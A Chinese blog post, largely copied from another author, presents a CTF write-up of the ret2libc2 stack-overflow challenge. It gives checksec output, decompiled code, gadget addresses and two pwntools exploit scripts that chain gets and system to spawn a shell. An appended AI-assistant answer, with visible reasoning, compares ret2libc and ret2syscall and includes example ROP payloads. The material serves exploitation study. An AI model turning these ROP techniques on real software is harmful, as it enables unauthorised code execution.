栈溢出入门0x06 ret2libc2

前言:

本博客非原创博客, 内容大部分都来自参考文献链接。

ret2libc1中system函数是动态库里的函数,且已经在plt表中了;并且也有“/bin/sh”。这太过简单了,所以增加点难度——如果没有“/bin/sh”怎么办?还是得自己读入一个。

题目:ret2libc2

链接:https://pan.baidu.com/s/1Lncq6vrUNEJ7vLKvTQ_gsA
提取码:yywk

分析:

checksec:

        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)

IDA:

int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char s; // [esp+1Ch] [ebp-64h]

      setvbuf(stdout, 0, 2, 0);
      setvbuf(_bss_start, 0, 1, 0);
      puts("Something surprise here, but I don't think it will work.");
      printf("What do you think ?");
      gets(&s);
      return 0;
    }

从IDA里查找可以发现system函数但是没有“/bin/sh”,所以需要自己读一个,进而需要找个缓冲区。

找到system的地址:

                                                                                图1

 sytem地址:0x08048490

没有找到bin/sh,所有我们可以自己制造一个。
先再bss段找一个变量:

                                                                                图2

 buf2的地址为:0x0804A080

我们需要调用gets函数,读取一个bin/sh放在buf2,然后找到gets函数,去plt表看:

                                                                                图3

gets地址为:0x08048460。

得到偏移量:

                                                                                图4

exp:

from pwn import*
r=process('./ret2libc2')
sys_adr=0x08048490
gets_adr=0x08048460
buf2_adr=0x0804A080

payload=flat([112*'A',gets_adr,sys_adr,buf2_adr,buf2_adr])

r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

需要再寻找一个pop(作用后面说):

    ROPgadget --binary ret2libc2 --only 'pop|ret'| grep 'ebx'
    0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    0x0804843d : pop ebx ; ret
pop ebx地址为:0x0804843d 

##!/usr/bin/env python
from pwn import*

r=process('./ret2libc2')

sys_adr=0x08048490
gets_adr=0x08048460
buf2_adr=0x0804A080
pop_ebx=0x0804843D

payload=flat([112*'A',gets_adr,pop_ebx,buf2_adr,sys_adr,'AAAA',buf2_adr])
#payload=flat([112*'A',gets_adr,sys_adr,buf2_adr,buf2_adr])

r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

pop ebx在此处的作用就是将gets函数的参数给pop掉。程序运行时是这样的:程序溢出后先运行到gets函数,然后gets函数返回后正好是pop ebx,这时候就会把buf2的地址pop到ebx中,然后继续运行就到了system函数的位置。

总结:

由于没有/bin/sh字符串,所有我们需要自己制造一个出来,利用存在的gts函数,读取一个/bin/sh到bss段的buf2处,再在后面的调用中把buf2作为参数。
第一种方法,栈分步应该是这样的,从上到下(低地址到高地址):
    gets地址
    system地址(也是gets的返回地址)
    buf2(是gets的参数)
    buf2(是system的参数)
第二种方法:
    gets地址
    pop ebx ;ret地址
    buf2(gets的参数)
    system地址
    system的返回地址('AAAA')
    buf2(system的参数)
第一种方法很好理解。
第二种方法就是在调用gets函数后,把参数buf2给pop掉,这样返回地址就变成了system,就会返回到system。

参看文献:

看人家写的不错,基本上没修改

ROP-基础-ret2libc2_ret2libc2下载-CSDN博客

<think>好的,我现在需要回答用户关于ret2libc和ret2syscall区别的问题。首先,我得回忆一下这两种攻击方式的基本概念,然后找出它们之间的不同点。用户提供的引用中有几个相关的资料,我需要仔细看一下这些引用内容,确保回答准确。 首先,ret2libc是一种利用程序中已有的库函数(比如system函数)的攻击方式,通常用于绕过NX保护。当程序没有提供后门函数时,攻击者可能需要泄露libc的地址,然后构造ROP链调用system函数。引用3和4提到了ret2libc的例子,比如调用system函数并传递参数如"/bin/sh"字符串的地址。 接下来是ret2syscall,这应该是指直接调用系统调用(syscall)而不是通过libc中的函数。比如在x86架构下,通过int 0x80指令,或者在x64架构下使用syscall指令来执行系统调用。这种攻击需要控制寄存器的值来传递系统调用号和参数,通常需要构造更复杂的ROP链来设置这些寄存器。 两者的主要区别在于利用的机制不同:ret2libc依赖现有的库函数,而ret2syscall直接使用系统调用。另外,ret2syscall可能不需要泄漏libc地址,但需要找到合适的gadgets来设置寄存器。而ret2libc可能需要泄漏libc基址来计算函数地址,特别是当ASLR启用时。 需要注意的是,用户提供的引用中并没有直接提到ret2syscall的具体例子,但引用2提到了栈溢出/ret2shellcode/ret2syscall/ret2libc的分类,说明ret2syscall是另一种方法。结合我的知识,ret2syscall通常涉及将返回地址指向syscall指令,并布置好寄存器参数。 另外,用户可能混淆了ret2syscall和ret2shellcode的区别。ret2shellcode是将控制流转向注入的shellcode,而ret2syscall是构造系统调用。不过根据引用中的分类,ret2syscall是独立的一种方法。 现在需要组织这些信息,分点说明两者的区别,包括原理、适用场景、利用条件以及示例。同时,根据用户提供的引用,引用3和4中的ret2libc例子可以引用作为说明,而ret2syscall可能没有直接引用,但可以结合知识进行解释。 最后,生成相关问题,可能涉及如何构造payload、如何寻找gadgets、防御措施等。确保问题与主题相关,并帮助用户进一步学习。</think>### ret2libc与ret2syscall的区别及用法比较 #### 1. **原理差异** - **ret2libc**:通过劫持程序执行流,跳转到动态链接库(如`libc.so`)中的函数(如`system`)执行。例如,构造栈帧调用`system("/bin/sh")`获取shell[^3][^4]。 - **ret2syscall**:直接触发系统调用(如`execve`),通过汇编指令(如`int 0x80`或`syscall`)实现,需控制寄存器传递参数(如`eax`存储系统调用号,`ebx`、`ecx`等存储参数)[^2]。 #### 2. **适用场景** - **ret2libc**: - 当程序开启**NX保护**(禁止执行栈上的代码)时,无法注入shellcode。 - 需要利用程序中已有的`libc`函数地址或通过泄漏`libc`基址计算目标函数地址。 - **ret2syscall**: - 当程序中存在可用的**gadget链**(如`pop eax; ret`)时。 - 需要直接调用系统调用且无需依赖`libc`函数(如绕过ASLR对`libc`的影响)。 #### 3. **利用条件对比** | 条件 | ret2libc | ret2syscall | |---------------------|-----------------------------------|----------------------------------| | **依赖库函数** | 是(如`system`、`execve`) | 否(直接调用内核接口) | | **寄存器控制** | 仅需传递参数地址(如`/bin/sh`) | 需设置多个寄存器(系统调用号+参数)| | **对抗NX保护** | 有效(不执行栈代码) | 有效 | | **对抗ASLR** | 需泄漏`libc`基址 | 可能无需泄漏(若gadget地址固定) | #### 4. **示例对比** - **ret2libc示例**(调用`system("/bin/sh")`): ```python # 构造栈帧:[溢出填充] + [system地址] + [返回地址] + [参数地址] payload = flat(['a' * 112, system_adr, 'b' * 4, binsh_adr]) ``` - **ret2syscall示例**(触发`execve("/bin/sh", 0, 0)`): ```python # 需构造gadget链设置eax=11(execve系统调用号),ebx指向"/bin/sh",ecx=0, edx=0 gadgets = [pop_eax_ret, 11, pop_ebx_ret, binsh_addr, pop_ecx_edx_ret, 0, 0, int_0x80] payload = flat(['a' * offset] + gadgets) ``` #### 5. **防御措施** - **ret2libc**:启用**ASLR**随机化`libc`基址;限制函数指针修改。 - **ret2syscall**:部署**Control Flow Integrity (CFI)** 阻止非法ROP链;减少可用gadget数量。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值